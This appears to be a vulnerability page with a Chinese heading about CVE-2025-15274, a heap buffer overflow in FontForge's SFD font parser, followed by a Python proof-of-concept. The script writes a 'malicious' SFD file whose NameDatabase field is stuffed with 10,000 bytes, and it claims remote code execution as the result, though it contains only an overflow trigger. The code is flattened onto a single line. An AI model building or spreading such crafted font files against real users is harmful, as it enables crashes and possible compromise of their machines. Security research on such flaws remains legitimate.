CVE-2025-15274 FontForge SFD文件解析堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-15274 PoC - FontForge SFD File Heap Buffer Overflow # This is a proof-of-concept to trigger the vulnerability via malformed SFD data import struct import sys def create_malicious_sfd(): """ Generate a malicious SFD file that triggers heap buffer overflow in FontForge's SFD parser. The vulnerability exists due to improper validation of data length before copying to heap-based buffer during SFD file parsing. """ sfd_content = """SplineFontDB: 3.0 FontName: MaliciousFont FullName: Malicious Font FamilyName: Test Family Version: 1.0 ItalicAngle: 0 UnderlinePosition: -100 UnderlineThickness: 50 HheadAscent: 800 HheadDescent: -200 Encoding: ISO10646-1 UnicodeInterp: none NameDatabase: none BeginChars: 256 1 BeginChar: space Width: 200 VWidth: 0 Flags: 0 TeXWidth: 100 Script: 0 AnchorPoint: "above" 0 0 0 none AnchorPoint: "below" 0 0 0 none AnchorPoint: "base" 0 0 0 none SplineSet 100 0 m 1 100 700 l 1 200 700 l 1 200 0 l 1 100 0 l 1 EndSplineSet EndChar EndChars EndSplineFont """ # Append malicious payload to trigger buffer overflow # The overflow occurs when parsing certain string fields overflow_marker = b'A' * 10000 # Large payload to overflow heap buffer # Modify specific field to contain oversized data sfd_content = sfd_content.replace( 'NameDatabase: none', f'NameDatabase: {overflow_marker.decode("latin-1")}' ) return sfd_content.encode('latin-1') def main(): print("[*] CVE-2025-15274 FontForge SFD Heap Buffer Overflow PoC") print("[*] Generating malicious SFD file...") malicious_sfd = create_malicious_sfd() output_file = "CVE-2025-15274_malicious.sfd" with open(output_file, 'wb') as f: f.write(malicious_sfd) print(f"[+] Malicious SFD file created: {output_file}") print(f"[+] File size: {len(malicious_sfd)} bytes") print("[!] This file should be opened with vulnerable FontForge version") print("[!] Expected result: Heap buffer overflow leading to RCE") if __name__ == "__main__": main()